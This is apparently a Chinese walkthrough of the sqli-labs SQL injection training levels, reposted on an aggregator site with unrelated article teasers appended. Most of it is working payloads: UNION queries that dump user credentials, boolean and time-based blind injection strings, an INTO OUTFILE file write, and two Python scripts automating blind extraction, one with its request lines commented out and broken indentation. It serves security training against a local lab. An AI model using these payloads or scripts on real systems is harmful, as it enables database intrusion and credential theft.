sqlilabs解题方法

Lass1

查询id为1的用户名和密码

查询id为2的用户名和密码

没有回显,不含id=-1的行

判断字段数,字段数为3

查询数据库用户名,和数据库名

查询时id必须超出数据库以外,一般用-1

用户名:user()

数据库名:database()cha

mysql版本:version()

查询数据库中的所有表的名字:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'--+

查询数据库中所有表名语法:group_concat(table_name)

从information_schema.tables中查询

条件数据库名必须为security:table_schema = 'security'

查询users表中的字段名:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'--+

查询所有字段名:group_concat(column_name)

从information_schema.columns中查询

表名必须为users: table_name = 'users'

查询字段值:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

查询所有用户名和密码:group_concat(username,0x3a,password)

从users表中

Lass2

行数为3

查询数据库名

查询表名

查询列名

查询字段名

Lass-3

先闭合

列数为3

数据库名

表名

列名

字段值

Lass4

闭合

Lass5

Lass6

页面不显示数据只有对错页面显示,选择布尔盲注

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。

?id=1'and length((select database()))>9--+

#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4

?id=1'and ascii(substr((select database()),1,1))=115--+

#substr("78909",1,1)=7

substr(a,b,c)

a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。

ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

判断所有表名字符长度。

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

逐一判断表名

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

判断所有字段名的长度

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

逐一判断字段名。

?id=1' and length((select group_concat(username,password) from users))>109--+

判断字段内容长度

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

逐一检测内容。

Lass7

闭合

列数为3

页面只显示对错无数据回显

读写文件

读文件前提:

1.存在注入点的web站点用户权限要足够高

2.secure_file_priv不为NULL(show global variables like "secure_file_priv";)(否则就没办法使用mysql中的函数进行读写)

读文件函数:

select load_file('路径');

写文件前提:

general_log = on

(查看general_log:show variables like'%general%';

修改general_log为on:set global general_log = on;)

写文件

select 字段名 from 表 into outfile "路径"

http://10.0.2.15/sqli/Less-7/?id=1')) union select 1,2,group_concat(username,0x3a,password) from users into outfile "/root/桌面/sqlilabs_qiu/Mysql注入读写文件Less7/out.txt"--+

Lass8

页面只显示对错无数据回显,基于布尔值的盲注

#coding:utf-8

import requests

char = "abcdefghijklmnopqrstuvwxyz0123456789~*/\{}?!:@_-,"

namelen = 1024

name = ""

res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1")

truelen = len(res.content)

for i in range(1, namelen):

    flag = True

    for str in char:

#表名

            #res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema = database()),%s,1)=%%27%s%%27 --+"%(i,str))

#字段名

            #res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1' and mid((select group_concat(column_name) from information_schema.columns where table_name = 'users'),%s,1)=%%27%s%%27 --+"%(i,str))

#字段值

            #res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1' and mid((select group_concat(username,0x3a,password) from users),%s,1)=%%27%s%%27 --+"%(i,str))

            if(len(res.content) == truelen):

     name += str

     print(str)

     flag = False

     break

    if(flag):break

print(name)

脚本比较慢

Lass9

无论对错,回显都一样。此时基于布尔盲注的方法已经不适用,故采用基于时间的盲注

布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时

间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。

if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

?id=1' and if(1=1,sleep(5),1)--+

判断参数构造。

?id=1'and if(length((select database()))>9,sleep(5),1)--+

判断数据库名长度

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

逐一判断数据库字符

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

判断所有表名长度

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

逐一判断表名

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

判断所有字段名的长度

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

逐一判断字段名。

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

判断字段内容长度

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

逐一检测内容。

python脚本

import requests

import time

# 将url 替换成你的靶场关卡网址

# 修改两个对应的payload

# 目标网址(不带参数)

url = "http://127.0.0.1/sqli-labs-master/Less-9/"

# 猜解长度使用的payload

payload_len = """?id=1' and if(

(length(

        (database())

    ) ={n})

,sleep(5),3) -- a"""

# 枚举字符使用的payload

payload_str = """?id=1' and if(

(ascii(

substr(

(database())

,{n},1)

) ={r})

, sleep(5), 3) -- a"""

# 获取长度

def getLength(url, payload):

    length = 1  # 初始测试长度为1

    while True:

        start_time = time.time()

        response = requests.get(url= url+payload_len.format(n= length))

        # 页面响应时间 = 结束执行的时间 - 开始执行的时间

        use_time = time.time() - start_time

        # 响应时间>5秒时,表示猜解成功

        if use_time > 5:

            print('测试长度完成,长度为:', length,)

            return length;

        else:

            print('正在测试长度:',length)

            length += 1  # 测试长度递增

# 获取字符

def getStr(url, payload, length):

    str = ''  # 初始表名/库名为空

    # 第一层循环,截取每一个字符

    for l in range(1, length+1):

        # 第二层循环,枚举截取字符的每一种可能性

        for n in range(33, 126):

            start_time = time.time()

            response = requests.get(url= url+payload_str.format(n= l, r= n))

            # 页面响应时间 = 结束执行的时间 - 开始执行的时间

            use_time = time.time() - start_time

            # 页面中出现此内容则表示成功

            if use_time > 5:

                str+= chr(n)

                print('第', l, '个字符猜解成功:', str)

                break;

    return str;

# 开始猜解

length = getLength(url, payload_len)

getStr(url, payload_str, length)

Lass10和lass9一样,‘换成“

Lass11

#注释

Or 1=1判断是否有sql注入

Lass12

Lass13和lass12差不多,只需要将双引号换成单引号。

Lass14和lass11差不多,只需要将单引号换成双引号。

Lass15和第lass11一样,只是不产生报错信息。布尔盲注。有错误页面和正确页面进行参考。

Lass16和lass12一样,需要布尔盲注。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/51657.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【电路笔记】-共源JFET放大器

共源JFET放大器 文章目录 共源JFET放大器1、概述2、共源JFET放大器3、JFET放大器电流和功率增益共源JFET放大器使用结场效应晶体管作为其主要有源器件,提供高输入阻抗特性。 1、概述 普通源JFET放大器与共射极BJT放大器相比有一个重要优点,即FET具有极高的输入阻抗,再加上低…

在IDEA中切换分支没有反应

说明:记录一次在IDEA中切换分支没有反应的情况,新建一个分支后,准备暂存代码,切换到其他分支去,发现怎么切都没有反应,也没有切过去; 解决:首先,我想到是不是当前新分支…

在线心里咨询系统的设计与实现2024(代码+论文+开题报告+ppt)

下载在最后 技术栈: vuemysqlspringboot 展示: 下载地址: https://download.csdn.net/download/hhtt19820919/89583101 备注: 运行有问题请私信我,私信按钮在文章左边)

深度学习实战84-数学公式和中文混合高精度识别实战,实现数学题目以及公式识别系统(latexOCR)

大家好,我是微学AI,今天给大家介绍一下深度学习实战84-数学公式和中文混合高精度识别实战,实现数学题目以及公式识别系统可视化(latexOCR)。在数字化时代,数学公式的自动识别和转换变得尤为重要,尤其是在教育、科研以及出版领域。本文将详细探讨一个基于深度学习的数学公式…

【网络安全】文件上传黑白名单及数组绕过技巧

不安全的文件上传(Unsafe FileUpload) 不安全的文件上传是指Web应用程序在处理用户上传的文件时,没有采取足够的安全措施,导致攻击者可能利用这些漏洞上传恶意文件,进而对服务器或用户造成危害。 目录 一、文件上传…

1. mqant——入门篇

0. 介绍 mqant技术架构和开发流程的学习笔记。 https://github.com/liangdas/mqantIntroduction mqant 的文档库 mqant是一个微服务框架。目标是简化分布式系统开发。 mqant的核心是简单易用,关注业务场景,因此会针对特定场景研究一些特定组件和解决方案,方便开发者使用。 …

二分类、多分类、多标签分类的评价指标

前言 在机器学习和深度学习中,常见的分类任务可以分为:二分类(Binary Classification); 多分类(Multi-class Classification); 多标签分类(Multi-label Classification); 序列分类 (Sequence Classification); 图分类…

Notcoin 即将空投:你需要知道什么

Notcoin 于 2024 年 1 月推出,是 Telegram 上的一款边玩边赚游戏,用户可以通过点击硬币图标获得 Notcoin 代币 (NOT) 形式的奖励。NOT 建立在开放网络区块链(称为“TON 区块链”)上,由 Open Builders 创始人 Sasha Plo…

IOS-05 Swift循环控制语句

在 Swift 编程语言中,控制语句用于决定程序的执行流程,使我们能够根据不同的条件和情况来控制代码的执行顺序。下面我们将详细介绍几种常见的控制语句 一、for 循环 let names ["zhangsan","lisi"] for name in names{print(name…

DNS服务器搭建练习

练习要求: 3、搭建一个dns服务器,客户端可以使用该服务器解析域名www.haha.com为web服务器的 4、将客户端的ip地址中的域名解析服务器地址修改为第3题的dnt服务器的p,使用ping命令ping www.haha.com看能否ping通,用curl命令访问c…

FPGA开发——LED流水灯实现先从左往右流水,再从右往左流水

一、概述 我们在设计完一个方向的流水灯的设计时,总是会想实现让流水灯倒着流水回去的设计,这里我也是一样,实现这种设计的方法有很多种,其中就有直接使用case语句将所有可能包含进去编写,这种设计方法是最简单的&…

STM32通信协议 总集篇 (速记版)

名称引脚常用在双工时钟电平设备USARTTX、RX单片机和pc,单片机和单片机全双工异步单端点对点I2CSCL、SDA单片机和单片机半双工同步单端多设备SPISCLK、MOSI、MISO、CS单片机和单片机全双工同步单端多设备CANCAN_H、CAN_L智能汽车半双工异步差分多设备USBDP、DM半双工异步差分点…

[php7系列]--php7里的返回类型声明和标量类型声明及不要用isset判断数组是否定义某个KEY-最好使用array_key_exists

一、[php7系列]--php7里的返回类型声明和标量类型声明 php7里增加了返回类型声明和标题类型声明,可以理解为对一个方法的输入输出进行了类型验证,在PHP7之前,方法里的数组、对象参数是有类型声明的,但其它的整数、字符串等类型声明…

【海贼王航海日志:前端技术探索】HTML你学会了吗?(一)

目录 1 -> HTML概念 2 -> HTML结构 2.1 -> 认识HTML标签 2.2 -> HTML文件基本结构 2.3 -> 标签层次结构 3 -> 快速生成代码框架 4 -> HTML常见标签 4.1 -> 注释标签 4.2 -> 标题标签 4.3 -> 段落标签 4.4 -> 换行标签 4.5 ->…

ES(ElasticSearch)倒排索引

目录 正排与倒排索引 1.正排索引 作用: 优点: 缺点: 2.倒排索引 原理: 倒排索引的构建流程: 倒排索引的搜索流程: 优点: 缺点: 3. 应用场景 倒排索引中有几个非常重要的概念…

【二叉树的锯齿形层序遍历】python刷题记录

R2-树与二叉树篇 层序遍历双端队列deque # Definition for a binary tree node. # class TreeNode: # def __init__(self, val0, leftNone, rightNone): # self.val val # self.left left # self.right right class Solution:def zigzagLevelOr…

【读代码】高斯掩模

目录 问题: 主要功能: 问题: 看不懂实现的功能 主要功能: 从输出张量中提取与边界框对应的区域,并计算该区域与高斯核之间的均方误差(MSE)损失 例子 假设我们有以下输入: boxe…

我的创作纪念日(一)——Giser?Noder?不如“Computer”

目录 Giser?Noder?不如“Computer” 一、根源:保持学习习惯的刚需 二、机缘:processOn的另类替代 三、日常:对技术栈丰富的思考 四、成就:保持心态健康的活着 五、憧憬:能一直心态健康的活…

前端实现【 批量任务调度管理器 】demo优化

一、前提介绍 我在前文实现过一个【批量任务调度管理器】的 demo,能实现简单的任务批量并发分组,过滤等操作。但是还有很多优化空间,所以查找一些优化的库, 主要想优化两个方面, 上篇提到的: 针对 3&…